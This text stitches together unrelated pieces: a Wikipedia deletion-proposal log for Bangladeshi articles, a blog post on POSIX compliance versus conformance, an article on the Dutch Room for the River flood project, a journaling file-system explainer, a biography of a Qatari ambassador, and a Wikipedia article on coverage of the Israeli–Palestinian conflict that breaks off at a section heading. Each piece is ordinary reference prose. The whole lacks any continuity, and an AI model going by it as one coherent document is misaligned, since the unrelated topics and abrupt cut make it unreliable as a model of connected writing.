* 1) * Reason: Of the two cited sources, one is merely a store that sells them. It says nothing about them other than ad copy presumably supplied by the maker. The other source doesn't mention the product at all. Searches of the usual types found no significant coverage in independent, reliable sources. No manufacturer has been identified to which it could be merged. There is a List of cigar brands, but its talk page calls for independent verifiability, even if the list doesn't currently comply with that (or with WP:V, for that matter). The existence of the article (or a redirect) would serve only to publicize the non-notable product.
* Pixx Cineplex: PROD; notified 20:43, 12 September 2020 (UTC)
* 1) * Reason: Sourced (to the limited extent to which it's sourced at all) to what appears to be a self-published web post, which in turn cites the Pixx Cineplex Facebook page for its information. Searches of the usual types found nothing independent deeper than directory listings. Fails WP:NCORP.
* SUN Bangladesh: PROD; notified 04:31, 18 September 2020 (UTC)
* 1) * Reason: Of the cited sources, only the second, press coverage of the launch event, mentions SUN Bangladesh. It's one of 46 country-level affiliates of Scaling Up Nutrition, which in turn is one of the thousands of authorities, boards, centres, commissions, councils, departments, directorates, divisions, movements, programmes, etc. within the UN. With no independent coverage to speak of, this one is not notable.
October 2020
* Rumana Islam Mukti: BLP PROD; notified 16:13, 6 October 2020 (UTC)
December 2020
* Nangalkot Union: PROD; notified 03:57, 4 December 2020 (UTC)
* 1) * Reason: There is no such union in Nangalkot Upazila, as can be seen by the cited source and by http://nangalkot.comilla.gov.bd/site/page/20a0b495-2144-11e7-8f57-286ed488c766/%E0%A6%87%E0%A6%89%E0%A6%A8%E0%A6%BF%E0%A6%AF%E0%A6%BC%E0%A6%A8%20%E0%A6%B8%E0%A6%AE%E0%A7%82%E0%A6%B9
* Amar Ache Jol: PROD; notified 14:43, 30 December 2020 (UTC)
* 1) * Reason: Found only one independent, reliable source deeper than a TV listing. Other than confirming basic credits (writer/director, cast), its fewer than 150 words say only that the film is based on a novel by the same name, that the director was going to Shamsernagar, Sylhet to scout locations, and that shooting was scheduled from 20 February to 20 March 2008.There isn't enough verifiable information to write an article that goes beyond a concise summary, that treats the film in an encyclopedic manner, discussing its development, design, reception, significance, and influence. Wikipedia is an encyclopedia, not an WP:INDISCRIMINATE clone of IMDb.
April 2021
* Durgapur High School: PROD; notified 00:57, 17 April 2021 (UTC)
* 1) * Reason: The single cited source lists 30 secondary schools in Durgapur Upazila of Rajshahi District, none of them with this precise name. There are 12 Durgapur High Schools listed in the source, none of them located in Durgapur Upazila of Rajshahi District. The article contains no verifiable information, let alone evidence of notability.
July 2021
* Anushandhitshu Chokro Science Organization: PROD; notified 14:04, 14 July 2021 (UTC)
* 1) * Reason: Much of the content cites no sources. Has been tagged for notability for over a decade. There are passing mentions of the student science (mainly astronomy) club, but not the significant coverage required to meet WP:NORG.
* Alfred Khokon: PROD; notified 14:16, 14 July 2021 (UTC)
* 1) * Reason: Tagged for notability for over a decade. There are two primary source interviews that lack independent analysis. And searches of the usual types found passing mentions of production credits and of the "was in attendance" variety. But there isn't significant coverage in independent, reliable, secondary sources. Fails WP:BIO.
August 2021
* Fauzia Yasmin: PROD; notified 01:31, 2 August 2021 (UTC)
* 1) * Reason: Tagged for notability since 2012. Wikipedia has articles about many of her relatives, but notability is not inherited. Her website says she won two awards, but there's nothing about them in independent sources, and they are not well-known and significant enough to meet WP:ANYBIO. Of the five cited sources, sydneybashi-bangla.com is a photo spread of her in a private home; banglamusic.com and Banglapedia don't mention her; and the last two are the websites of her and her daughter. Searches of the usual Google types, including by Bengali script, found nothing more than brief mentions.
September 2021
* Fazlur Rashid: PROD; notified 15:08, 24 September 2021 (UTC)
* 1) * Reason: Multiple newspapers reprint a press release, well meaning but misguided novice creates a permastub from it. Governments have thousands of authorities, boards, centres, commissions, councils, departments, directorates, divisions, etc. Not every civil servant who has ever headed one is notable, see WP:WHYN.
October 2021
* Madani Technical Institute: PROD; notified 17:47, 19 October 2021 (UTC)
* 1) * Reason: Not notable. The cited sources are directory-type listings, and searches of the usual Google types found nothing deeper than passing mentions.
* Alliance Française de Chittagong: PROD; notified 14:31, 24 October 2021 (UTC)
* 1) * Reason: Alliance française is notable, but per WP:BRANCH, most of its 850 local centers are not individually notable. Article cites only the organization itself. Searches of the usual Google types found no independent sources deeper than directory listings and brief mentions, nothing outside of the chapter's service area.
* M. Balaghat Ullah: PROD; notified 05:49, 26 October 2021 (UTC)
* 1) * Reason: The cited sources are written by him, so not independent. Searches of the usual Google types found catalog listings for his published works, but no independent or significant coverage. Does not meet WP:PROF or WP:GNG.
November 2021
* Bangladesh Democratic Workers Federation: PROD; notified 17:55, 6 November 2021 (UTC)
* 1) * Reason: The cited source is a directory listing that states the federation's address and says it's affiliated with the WFTU. Searches of the usual types, in English and Bengali, found no more information than this. With no significant coverage, it fails WP:ORG.
* Jamidar Hat B. N. High School: PROD; notified 23:04, 8 November 2021 (UTC)
* 1) * Reason: No evidence of notability. The Board of Intermediate and Secondary Education is not an independent source, and Sohopathi is an indiscriminate database that scrapes info from the Bangladesh Bureau of Educational Information and Statistics.
* Bhabon Dutt Gono High School: PROD; notified 05:29, 13 November 2021 (UTC)
* 1) * Reason: No evidence of notability. The cited government webpage contains nothing more than the name of the school. Searches of the usual types found no significant coverage in independent, reliable sources.
* Sayed Muhammad Ishaq: PROD; notified 04:35, 17 November 2021 (UTC)
* 1) * Reason: Unsourced for 7 years. Searches of the usual types found no reliable sources containing significant coverage.
January 2022
* Bhangbaria Secondary School: PROD; notified 06:37, 31 January 2022 (UTC)
* 1) * Reason: No evidence of notability. Created back in the day when it was argued that proof of existence of a secondary school was enough reason to have an encyclopedia article about it. Searches of the usual types, in English and Bengali, found only one independent, reliable source, a primary source report of a physical altercation between two non-notable individuals during a meeting about forming a school committee.
* Nazrul Endowment: PROD; notified 23:42, 31 January 2022 (UTC)
* 1) * Reason: There is no such institution as the "Nazrul Endowment". The cited sources describe two separate university endowment funds: the Nazrul Endowment Fund at CSUN, and the UConn Nazrul Endowment Program. The two have no administrative, financial, or operational connections. A university can have thousands of such funds. If they were large or unusual enough, they might merit a mention in the respective university articles, but searches of the usual Google types, EBSCO, Gale, JSTOR, and ProQuest found no sources to support notability.
February 2022
* Paye Cholar Path: PROD; notified 16:37, 26 February 2022 (UTC)
* 1) * Reason: Only source cited is IMDb, which, being user-generated, is not a reliable source. Searches of the usual types in English and Bengali found brief mentions in lists of films actors have been in, but no significant coverage of the film.
March 2022
* Smyrna House of Prayer Church in Bangladesh: PROD; notified 00:42, 18 March 2022 (UTC)
* 1) * Reason: Tiny, non-notable, denomination. Searches of the usual types found only non-independent sources: the church and the World Reformed Fellowship of which it is a member. Fails WP:NRELORG.
April 2022
* Abbasia High School: PROD; notified 14:47, 7 April 2022 (UTC)
* 1) * Reason: Run-of-the-mill high school. No evidence from searches in English and Bengali that it is notable.
* Bilashati Tamiz Uddin High School: PROD; notified 04:30, 29 April 2022 (UTC)
* 1) * Reason: Non-notable high school.
* Civil Aviation High School, Tejgaon: PROD; notified 04:32, 29 April 2022 (UTC)
* 1) * Reason: Non-notable school.
May 2022
* Criminal (1990 film): PROD; notified 13:46, 17 May 2022 (UTC)
* 1) * Reason: Wikipedia is not an indiscriminate collection of all films ever made. Inclusion of the title in lists of films made by the director and a TV listing do not constitute significant coverage that would allow Wikipedia to go beyond a summary-only description of the work.
* Pagli (1986 film): PROD; notified 13:59, 17 May 2022 (UTC)
* 1) * Reason: Wikipedia is an encyclopedia, not a film database like IMDb. Passing mentions of a title in various filmographies does not demonstrate notability (suitability for inclusion as a stand alone article).
* Raja (1999 Bangladeshi film): PROD; notified 14:36, 24 May 2022 (UTC)
* 1) * Reason: Wikipedia is an encyclopedia, not a film database like IMDb. Passing mentions of a title in various filmographies does not demonstrate notability (suitability for inclusion as a stand alone article).
* Tumi Amar: PROD; notified 14:57, 24 May 2022 (UTC)
* 1) * Reason: Wikipedia is an encyclopedia, not an indiscriminate collection of all films ever made. Passing mentions of a title do not demonstrate notability (suitability for inclusion as a stand alone article).
January 2023
* Unukhan Pagla Peer High School: PROD; notified 02:36, 10 January 2023 (UTC)
* 1) * Reason: Fails WP:NSCHOOL as it meets neither WP:GNG nor WP:ORG. Searches in English and Bengali found no significant coverage in independent, reliable, secondary sources.
* Charmohanpur High School: PROD; notified 05:59, 10 January 2023 (UTC)
* 1) * Reason: Fails WP:NSCHOOL as it meets neither WP:GNG nor WP:ORG. Searches in English and Bengali found no significant coverage in independent, reliable, secondary sources.
* Green View High School: PROD; notified 06:07, 10 January 2023 (UTC)
* 1) * Reason: Fails WP:NSCHOOL as it meets neither WP:GNG nor WP:ORG. Searches in English and Bengali found no significant coverage in independent, reliable, secondary sources.
* Surya Kumar Bose: PROD; notified 05:39, 31 January 2023 (UTC)
* 1) * Reason: Non-notable businessman. Searches in English and Bengali found nothing in reliable sources beyond the passing mention that he founded the Dhakeshwari Cotton Mill and was leader of the Dacca District Hindu Mahasabha. (He is not the Surya Kumar Bose related to Subhas Chandra Bose or Netaji.) Fails WP:BIO and WP:GNG.
February 2023
* Shoaib Shorbonam: PROD; notified 15:59, 4 February 2023 (UTC)
* 1) * Reason: Non-notable author. Sources are a press conference for his web magazine launch and a book review in a newspaper he worked for. Searches in Bengali returned a few hits, but nothing deeper than capsule book announcements. Does not meet WP:AUTHOR or WP:GNG.
* Sharbari Dasgupta: PROD; notified 20:25, 12 February 2023 (UTC)
* 1) * Reason: The first source is a self-published blog, and the "award" it describes is not notable. I see no evidence that the second source has a reputation for accuracy and fact-checking either. Even if it does, it does not address the subject directly and in detail, containing only two sentences on the topic. Searches in English and Bengali found no mentions in reliable sources.
March 2023
* Kurmitola High School & College: PROD; notified 16:44, 5 March 2023 (UTC)
* 1) * Reason: Fails WP:NSCHOOL as it meets neither WP:GNG nor WP:ORG. Searches in English and Bengali found no significant coverage in independent, reliable, secondary sources.
* Shaheed Colonel Kazi Emdadul Haque Public School: PROD; notified 21:42, 7 March 2023 (UTC)
* 1) * Reason: Fails WP:NSCHOOL as it meets neither WP:GNG nor WP:ORG. Searches in English and Bengali found no significant coverage in independent, reliable, secondary sources, only directory listings and one passing mention.
* Institute of Science and Information Technology: PROD; notified 21:45, 7 March 2023 (UTC)
* 1) * Reason: Fails WP:NSCHOOL as it meets neither WP:GNG nor WP:ORG. Searches in English and Bengali found no significant coverage in independent, reliable, secondary sources.
* Malabare Mansion: PROD; notified 17:10, 8 March 2023 (UTC)
* 1) * Reason: Fails WP:GNG. Searches in English and Bengali found no significant coverage in reliable sources. The sole source is print on demand publisher Dictus Publishing. Imprints of its parent company have been described as "predatory vanity press" or "spam", lacking basic editorial processes. When this book was published, the parent was republishing Wikipedia content, so this may be WP:CIRCULAR as well.
* Mirza Mahal: PROD; notified 18:51, 8 March 2023 (UTC)
* 1) * Reason: Fails WP:GNG. Searches found no significant coverage in reliable sources.
* Chaya Chobi: PROD; notified 04:43, 14 March 2023 (UTC)
* 1) * Reason: Principal photography began in 2012, but the film has never been released. A few brief, non-independent, press release-based articles exist from when the production was active, but since then nothing has been written about it beyond that it is unreleased. The production itself is not notable, so the film should not be the subject of a standalone article, per WP:NFF.
* Haripur Dimukhi Girls High School: PROD; notified 05:13, 19 March 2023 (UTC)
* 1) * Reason: Fails WP:NSCHOOL as it meets neither WP:GNG nor WP:ORG. The only sources are indiscriminate listings on the local government/school board websites. Searches in English and Bengali found no significant coverage in independent, reliable, secondary sources.
* Mohanpur Government Girls High School: PROD; notified 05:20, 19 March 2023 (UTC)
* 1) * Reason: Fails WP:NSCHOOL as it meets neither WP:GNG nor WP:ORG. Searches in English and Bengali found no significant coverage in independent, reliable, secondary sources, only one brief mention.
* Kapasgola Jamtola Shahi Jame Mosque: PROD; notified 17:09, 20 March 2023 (UTC)
* 1) * Reason: Only source is directory listing. Searches in English and Bengali found nothing deeper than routine mentions as a location of prayers or of distribution of charity or the like. Does not meet WP:GEOFEAT or WP:GNG.
April 2023
* Taltoli Public Primary School: PROD; notified 15:12, 3 April 2023 (UTC)
* 1) * Reason: Non-notable primary school. Article is based on one paragraph in a travel story. Searches in English and Bengali found only the briefest of other mentions of this Taltoli Public Primary School. (There are others of the same name elsewhere, in Gazipur, Laxmipur, Naogaon, ...)
June 2023
* Itihas Academy: PROD; notified 17:11, 8 June 2023 (UTC)
* 1) * Reason: Searches in English and Bengali found only two sources deeper than a directory listing or passing mention: the academy's website and the Banglapedia article. The author of the later is Fazilatun Nessa, who is on the executive committee of the academy and thus not independent. With no independent sources, the topic does not meet WP:GNG and should not be the subject of a stand alone article.
* Mehvashaa: PROD; notified 05:23, 28 June 2023 (UTC)
* 1) * Reason: Does not meet WP:NALBUM. The article in The Asians is not independent because the musicians promote the recording in it. Searches found no better sources.
July 2023
* National Children's Task Force: PROD; notified 16:14, 1 July 2023 (UTC)
* 1) * Reason: Some info about the organization is available from UNICEF and Save The Children, but they partnered to establish it, so are not independent of it. Primary source news occasionally mentions it, but usually to relay what the organization said in a press statement or at a press conference, without independent analysis. Their depth of coverage stops at saying that members organized, spoke at, or were present at a specific event. Fails WP:SIRS and WP:NGO part 2.
* Bangladesh Association of Librarians, Information Scientists and Documentalists: PROD; notified 15:41, 3 July 2023 (UTC)
* 1) * Reason: Primary source news mentions it very occasionally, usually to say they organized a specific event (lecture, seminar, workshop, training, etc.). Otherwise, extensive searches, including of WP:TWL, found only a single paragraph about their founding in Libraries in the Early 21st Century. Fails the "multiple" aspect of WP:SIRS and WP:NGO part 2.
* Haji Abul Hossain Institute of Technology: PROD; notified 23:45, 5 July 2023 (UTC)
* 1) * Reason: Meets neither WP:GNG nor WP:ORG, so fails WP:NSCHOOL. Searches in English and Bengali found only one reliable source deeper than a passing mention or directory listing, a story about a student's attempted suicide. Without significant coverage in multiple, independent, reliable, secondary sources, should not be a stand alone article.
* Radio Colony Model School and College: PROD; notified 01:22, 13 July 2023 (UTC)
* 1) * Reason: Meets neither WP:GNG nor WP:ORG, so fails WP:NSCHOOL. Searches in English and Bengali found nothing but passing mentions and indiscriminate directory listings. Without significant coverage in multiple, independent, reliable, secondary sources, should not be a stand alone article.
* Chakmuli High School: PROD; notified 16:55, 17 July 2023 (UTC)
* 1) * Reason: Searches in English and Bengali found nothing but directory listings. It exists, but isn't notable. Without significant coverage in multiple, independent, reliable, secondary sources, it should not be a stand alone article.
* Bangladesh Canada Hindu Cultural Society: PROD; notified 19:47, 25 July 2023 (UTC)
* 1) * Reason: None of the cited sources mention the organization. Searches of the usual Google types, plus 23 of the WP:TWL databases, found nothing more than primary source passing mentions, the deepest of which contained three sentences about an event at the mandir.. Fails WP:ORGCRIT and WP:NONPROFIT.
August 2023
* Badol Diner Prothom Kodom Ful: PROD; notified 15:14, 5 August 2023 (UTC)
* 1) * Reason: The only source is a WordPress blog. Searches in English and Bengali found a few hits for the line of the Tagore poem from which the title is taken, but none for the telefilm. Does not meet WP:NTVFILM.
September 2023
* Babar Adesh: PROD; notified 16:05, 26 September 2023 (UTC)
* 1) * Reason: Searches of the usual types found nothing deeper than indiscriminate lists (by law, all films made in Bangladesh must deposit a copy with the film archive) and passing mentions. Fails WP:GNG and WP:NFILM.
* Dhansiri Cadet School: PROD; notified 22:34, 27 September 2023 (UTC)
* 1) * Reason: Searches of the usual types in English and Bengali found no independent sources, so does not meet WP:GNG or WP:NHSCHOOL and should not be a stand alone article. No article exists about village Hemayetpur or Tetuljhora Union, so no good redirect target.
January 2024
* 25th Bangladesh Infantry Regiment: PROD; notified 16:59, 30 January 2024 (UTC)
* 1) * Reason: Extensive WP:BEFORE in English and Bengali found nothing deeper than a couple of passing mentions. The unit exists, but no significant coverage of it exists, so fails WP:MILUNIT and WP:GNG. No reliably sourced content to merge.
February 2024
* Shohid Ali: PROD; notified 05:48, 13 February 2024 (UTC)
* 1) * Reason: Wikipedia is not a memorial site. Searches of the usual Google types in English and Bengali found zero reliable sources. No one else has found any in the past decade either. From the history and tone, perhaps it was written by a descendant unfamiliar with Wikipedia's inclusion criteria. Does not meet WP:GNG or WP:BIO.
* Natun Bazzar: PROD; notified 22:53, 20 February 2024 (UTC)
* 1) * Reason: A 2010 Local Government Engineering Department map shows a rural market named Natun Bazar (New Market) in the area. Many market locations start as or become villages/towns, but there is no evidence that this market is a populated place with legal recognition (as required by the WP:GEOLAND notability guideline). It is not listed in the 2011 census. It's a very common name, so searches return many hits, but none for a Natun Bazar of this description, so fails WP:GNG too.
* Baisari College: PROD 02:03, 22 February 2024 (UTC)
* 1) * Reason: There is no college by this name in Bangladesh. There is a college in Baisari at the listed coordinates named Syed Bazlul Haque College (সৈয়দ বজলুল হক কলেজ), but there is no significant coverage of it in independent sources, so it doesn't meet WP:NSCHOOL.
May 2024
* Md Mizanur Rahman Mizan: PROD; notified 16:30, 8 May 2024 (UTC)
* 1) * Reason: This colonel has received no coverage deeper than passing mentions in stories about routine events he attended such as secondary school graduations, public meetings, and school book distributions. Does not meet WP:GNG.
July 2024
* CNEWS (Bangladeshi magazine): PROD; notified 05:31, 1 July 2024 (UTC)
* 1) * Reason: Magazine exists, but does not meet WP:NMEDIA, WP:NMAG, or WP:GNG. Searches in English and Bengali (সি নিউজ) found nothing deeper than passing mentions. | WIKI |
Compliance vs Conformance?
What is the difference between compliance and conformance
and what does that mean to you and me? Or more importantly what does this mean
to your project?
Well, compliance is an informal industry
term generally accepted to mean the system provides support for some of a given standard. Technically, an OS that provides only one API of a POSIX standard is "compliant," though not very useful. Vendors of compliant systems are generally expected to offer documentation describing which parts of the standard are supported, and which are not.
Wind River for instance, has such a statement to show "compliance" levels
of its VxWorks Operating System against the various POSIX standards. This reads like 100%
conformance to SCA 2.2.1 (another POSIX Subset for Software Defined Radio)
etc.
Conformance on the other hand is a recognition of formal testing, that prove that an
operating system provides 100% support for a given standard. Certification of conformance is awarded to an operating system after an official Certification Authority has reviewed not only the results of formal testing, but formal conformance documentation as well. In the case of POSIX this is well covered on the
IEEE and The Open Group sites. Products that are POSIX certified can claim conformance, and in doing so also publish a list of which of the optional components they support to exactly define what support they provide.
This statement also lists the configuration of the system, and the test environment required to re-produce the tests.
To do this the company involved must purchase an official test suite from a certification authority , run the tests and submit the results for certification for conformance. As of November 2003, The IEEE and The Open Group extended POSIX Certification to the 2003 Edition of IEEE Std 1003.1. This has subsequently been extended to include IEEE Std 1003.13-2003 (what we are interested in), for both the PSE54 Multipurpose Profile and the PSE52 Real time Controller Profile. The test results are supplied to the Certification Authority such as the IEEE or The Open Group, in order to audit the results and confirm they have all passed. This along with the Conformance report then give a company the right to say they are conformant to the standard tested against.
Certified conformance is obviously a much better indication as to a product ‘ s suitability, if POSIX is a requirement for your system, as you don’t have to rely on marketing data sheets showing "compliance" but know the product has been audited and tested to the standard involved. You as an application builder can then tick the box and get on with developing a product just using the chosen standard.
As John Jones pointed out on my last blog only one company is listed as having run these tests and that for 1003.1, the complete POSIX standard, this in itself is interesting as the older POSIX standard 1003.1-1998 had many companies listed against it (from memory as I could not find the old listing anymore!
I wonder why this is?
One reason for the lack of testing at the Real Time OS level is that the PSE52 and PSE54 tests are relatively new, not only to the POSIX community, but also to the DSO world and you have to adapt these tests to run in a DSO environment (such as porting the test suite from a UNIX based self-hosted environment to run in a client-server mode, as a device target doesn’t always have the system resources to support running the large test framework)
Another reason could be the usual product development issue of scheduling in these additional workloads into an already heavily oversubscribed feature development schedule along with demands for more "exiting" technologies such as Mobile-IP [Webopedia] or Remote Diagnostics [Wind River Management Suite].
Or maybe the demand to see these POSIX certified products just is not there yet? | ESSENTIALAI-STEM |
Room for the River (Netherlands)
In the Netherlands, Room for the River (Ruimte voor de Rivier) is a government design plan intended to address flood protection, master landscaping and the improvement of environmental conditions in the areas surrounding the Netherlands' rivers. The project was active from 2006–2015.
Overview
The Rhine delta experiences annual flooding. In 1993 and 1995, floods threatened to devastate regions surrounding the delta. In the neighbouring vicinity over 200,000 people were evacuated. Contrary to popular belief no dikes broke. Climate change is ongoing, and as the river floods each year the water distributes sediments throughout the floodplain which in turn reduces the space that was initially allowed for annual floods. In 2006 the Cabinet of the Netherlands proposed the Spatial Planning Key Decision (SPKD). The SPKD is a design plan for more highly innovated structures and the modification of existing structures in the immediate floodplain site. Meander Consultancy and Research Partners contributed to the site analysis and interpretation. The project was active from 2006 to 2015.
The Room for the River project site encompasses four rivers: the Rhine, the Meuse, the Waal, and the IJssel. The project area is in the Netherlands, but morphological impacts extend upstream into Germany, portions of France and Belgium, and may reach to the Rhine headwaters in Switzerland over time.
The design presents an integrated spatial plan with the main objectives of flood protection, master landscaping and the improvement of overall environmental conditions. Completion of a basic package of forty projects is foreseen for 2015, with a budget of €2.2 billion.
Measures in the plan include: placing and moving dykes, depoldering, creating and increasing the depth of flood channels, reducing the height of the groynes, removing obstacles, and the construction of a "Green River" which would serve as a flood bypass. This will result in lower flood levels. By 2015 the Rhine branches will safely cope with an outlet capacity of 16,000 cubic metres of water per second; the measures implemented to achieve this will also improve the quality of the environment of the river basin.
Features
Relocation of dykes
Dykes will be relocated farther from the river shore. This will create additional space within the flood plain for the river during annual floods.
Lower the level of floodplain
In addition to the relocation of the dykes, the floodplain bottom will be lowered in depth. Increasing the depth in the floodplain must occur due to the collection of sediments in the area after years of regular flooding.
Reduce height of the groynes
The groynes within the riverbed will be lowered to allow for more drainage to occur during an increase in water levels more quickly than presently positioned. Groynes will be added in specified locations in addition to the modifications occurring to the existing structures.
Construction of a “Green Channel”
A “Green Channel” will be constructed serving as a flood bypass around Veessen-Wapenveld.
Increase the depth of the side channels
Side channels will be lowered in depth to increase the barrier between the river and infrastructures and residents. It will also allow for more water to be removed from the flooded location thus reducing the breach of the dykes.
Removal of obstacles
Locations along the river where there are obstacles will be addressed. For example, the hydraulic bridge at Oosterbeek will be removed. Removing or modifying obstacles in the river wherever possible helps increase the flow rate for the river water. | WIKI |
What is a Journaling File system
As we discussed in a previous post, Linux servers offer many different types of file systems, and every other server operating system also offers a choice of file systems. One type of file system you might encounter is called a journaling file system. What is it and how does it differ from a standard Linux file system?
A journaling file system is designed to protect against data loss by recording disk transactions to a log in case of system failure. Upon reboot, the file system normally compares the log to the actual files and corrects any discrepancies. Without this type of journaling in place, a single crash could cause disk corruption.
The old default Linux file system, Ext2, did not have journaling. Newer Linux file systems such as Ext3 and Ext4 use journaling. XFS supports journaling as well. Similarly, older Windows file systems, such as FAT and FAT32 do not support journaling, whereas NTFS does.
The main disadvantage of a journaling file system is that it involves more disk accessing than other file systems. This theoretically could make them slower, but with many modern disks and file systems, you might not notice a difference. There is also some debate about how to use journaling with solid state drives (SSD) or even if one should use them at all.
For more information about journaling file systems, see this article.
Comments: | ESSENTIALAI-STEM |
Meshal bin Hamad Al Thani
Sheikh Meshal bin Hamad Al Thani is the State of Qatar ambassador to the United States of America.
Education
Al Thani earned a Master's degree in international relations from the American University in Washington, DC.
Diplomatic career
Al Thani started his diplomatic career in May 1997 at the Department of European and American Affairs at the Ministry of Foreign Affairs where he stayed until August 1998. Following his service at the Ministry of Foreign Affairs he joined the Qatari Mission to the UN in New York, where he remained till September 2000. From October 2000 to October 2004, he served as a member of the Qatari diplomatic mission in Washington D.C. In November 2004 he became a member of the Qatari diplomatic mission in the Belgian capital, where he acted as the Qatari Liaison with NATO. After his service as Ambassador of Qatar to Brussel, from October 2007 to July 2011, Al Thani served as the Permanent Representative of the State of Qatar to the United Nations till October 2013. The next three years he was the Qatari Ambassador to France. Since 2016, Al Thani has been the ambassador of the State of Qatar to the United States of America.
On 15 January 2021, Al Thani launched the Qatar-USA 2021 Year of Culture as the host of a concert with the Minister of Culture and Sports of Qatar Salah bin Ghanem Al Ali and Greta C. Holtz, Chargé d’affaires of the United States Embassy in Qatar. This concert marked the start of a year of special curated exhibitions and bilateral exchanges in both countries. In the same month Al Thani received the Medal of Distinguished Public Service from the United States Department of Defense.
He is a member of the Metropolitan Club of the City of Washington DC.
Publications
* The World Cup gave Qatar an opportunity to enhance worker protections, The Washington Post, 2022
* Qatar's Ambassador on why the Middle East deserves the opportunity to host soccer's biggest event, CNN, 2022
Personal life
Al Thani is married with three children. | WIKI |
File talk:Einstein-Roosevelt-letter.png
I am surprised there is an umlaut from a typewriter supposedly composed in the US or even the UK in August of 1939. John Lloyd Scharf 04:18, 26 September 2011 (UTC) | WIKI |
Wikipedia and the Israeli–Palestinian conflict
Occupied Palestinian Territories.jpg,, per the United Nations OCHA.
See here for a more detailed and updated map.]]
The Israeli–Palestinian conflict has been covered extensively on Wikipedia. External groups have initiated editing campaigns, and the Israel–Hamas war intensified editing in the topic-area. Wikipedia coverage on the conflict differs significantly between the encyclopedia's language-versions.
History
In September 2006, WikiProject Israel was established to improve coverage of Israel-related topics. WikiProject Palestine was created two months later. In 2008, the WikiProject Israel Palestine Cooperation was set up to reconcile the Israel and Palestine WikiProjects, with the project page stating, "In a subject plagued by conflicting historical narratives, we are working to make Wikipedia the conflict's most balanced reference point. Help us build bridges and break down barriers in the world's most intractable conflict."
In 2008, after issues on the Second Intifada article and other articles related to the Israeli-Palestinian conflict reached a fever pitch, Wikipedia's Arbitration Committee decided on a set of rules of conduct for editors when editing articles related to the conflict. Editors are required to have made over 500 edits for at least 30 days to edit articles related to the conflict, can only make one revert per day across the entire field, and can be banned from editing related articles. The ruling was reaffirmed and expanded in 2009 and 2015.
In December 2017, after American president Donald Trump announced that the U.S. would be recognising Jerusalem as Israel's capital, Wikipedia followed suit, which sparked a debate between editors. As of that time, the English and Hebrew articles said that Jerusalem was Israel's capital, while the Arabic article said that Israel claimed it as its capital, but it was located in occupied Palestine.
In November 2020, Haaretz reported that the "West Bank bantustans" article comparing Israel's control of the West Bank to the Black-only enclaves in apartheid-era South Africa indicated a possible shift for Wikipedia's consensus on likening Israel to an apartheid regime. Editors noted the fact that the article survived a deletion proposal indicated that events such as the Trump peace plan and Benjamin Netanyahu's pledge to annex parts of the West Bank undermined Israel's talking point that it supported a two-state solution and strived to establish a Palestinian state.
In February 2021, the Hebrew Wikipedia renamed its version of the article on the Israeli occupation of the West Bank, changing "occupation" to "rule".
Israel–Hamas war
The Israel–Hamas war was extensively covered on Wikipedia and other related projects in various languages. This included articles about the 2023 Hamas-led attack on Israel starting from October 7, 2023, as well as the subsequent Israeli blockade of the Gaza Strip and the Israeli invasion by the Israeli Defence Forces (IDF) in the following weeks. Articles related to the war experienced edit warring due to the diversity of narratives from both sides of the conflict.
On December 4, 2023, the Wikimedia Foundation issued a statement titled "Wikimedia updates on the crisis in Gaza Strip and Israel", and another statement the next day calling for "an end to measures preventing access to the internet in the Gaza Strip".
On December 23, 2023, the Arabic Wikipedia changed its logo to the colors of the Palestinian flag and suspended editing articles for one day to protest the ongoing attacks against the Palestinian people and the bias of many Western governments, especially the United States, towards one side of the conflict and the adoption of double standards. The step was taken to express solidarity and rejection of misinformation, according to what was published on the Arabic Wikipedia's main page, which added a logo expressing that. This solidarity was widely welcomed by a large number of Arab users and supporters of the Palestinian cause, while it was criticized by some Israeli users.
In June 2024, an edit war involving the articles for the 2024 Nuseirat rescue operation and the Nuseirat refugee camp massacre occurred, resulting in editing access to the articles being restricted.
Reliability of sources
The Wikipedia community has assessed the reliability of several Jewish sources. For instance, The Jewish Chronicle, a British newspaper, was declared a generally reliable source in 2021 despite concerns of bias. Editors debated the newspaper's coverage of left-wing and Muslim groups.
Also in 2021, a consensus was reached to prohibit the use of the Jewish Virtual Library, an online encyclopedia, as a source for most cases due to concern about its accuracy and bias towards Israel. In 2024, the pro-Israel advocacy group NGO Monitor was also prohibited as a source.
Anti-Defamation League
In June 2024, the English Wikipedia community declared the Anti-Defamation League (ADL) a generally unreliable source about the conflict. An English Wikipedia administrator who evaluated the community's consensus for this discussion cited the existence of substantial evidence of the ADL acting as a "pro-Israeli advocacy group" that has published unretracted misinformation "to the point that it taints their reputation for accuracy and fact checking regarding the Israeli-Palestinian conflict", as well as a "habit on the ADL's part of conflating criticism of the Israeli government's actions with antisemitism". Later that month, the English Wikipedia community concluded the ADL's lack of reliability extended to "the intersection of antisemitism and the [Israeli-Palestinian] conflict, such as labeling pro-Palestinian activists as antisemitic", but "the ADL can roughly be taken as reliable on the topic of antisemitism when Israel and Zionism are not concerned".
The ADL criticized the decision, saying that it was part of a "campaign to delegitimize the ADL." James Loeffler of Johns Hopkins University, a professor of modern Jewish history, commented that the Wikipedia editors were "heavily influenced by the ADL leadership's comments", which took "a much more aggressive stance than most academic researchers in blurring the distinction between anti-Zionism and antisemitism".
Editing campaigns
In 2008, leaked emails from the pro-Israel watchdog Committee for Accuracy in Middle East Reporting in America (CAMERA) that purported to reveal an organised influence campaign on Wikipedia were published by The Electronic Intifada, a pro-Palestinian organisation. The leaked emails resulted in at least five editors receiving lifetime bans on Wikipedia.
In August 2010, two Israeli right-wing groups, the Yesha Council and My Israel, ran a course about Zionist editing on Wikipedia. Yesha Council director Naftali Bennett said, "We don't want to change Wikipedia or turn it into a propaganda arm. We just want to show the other side. People think that Israelis are mean, evil people who only want to hurt Arabs all day." In response, Abed A-Nassar, the chairman of the Association of Palestinian Journalists, called on Palestinian institutions to make Wikipedia articles more pro-Palestinian and counter what he called Israel's "public relations war".
In 2013, Haaretz reported the indefinite block of an editor who had concealed the fact that he was an employee of right-wing media group NGO Monitor. The editor was reported to have edited English Wikipedia articles on the Israeli–Palestinian conflict "in an allegedly biased manner".
In 2018, Philip Cross, a pro-Israel editor, was accused of targeting members of the British far-left and critics of Israel in his activity. The case was amplified by Russian media.
Euro-Med Monitor's WikiRights project
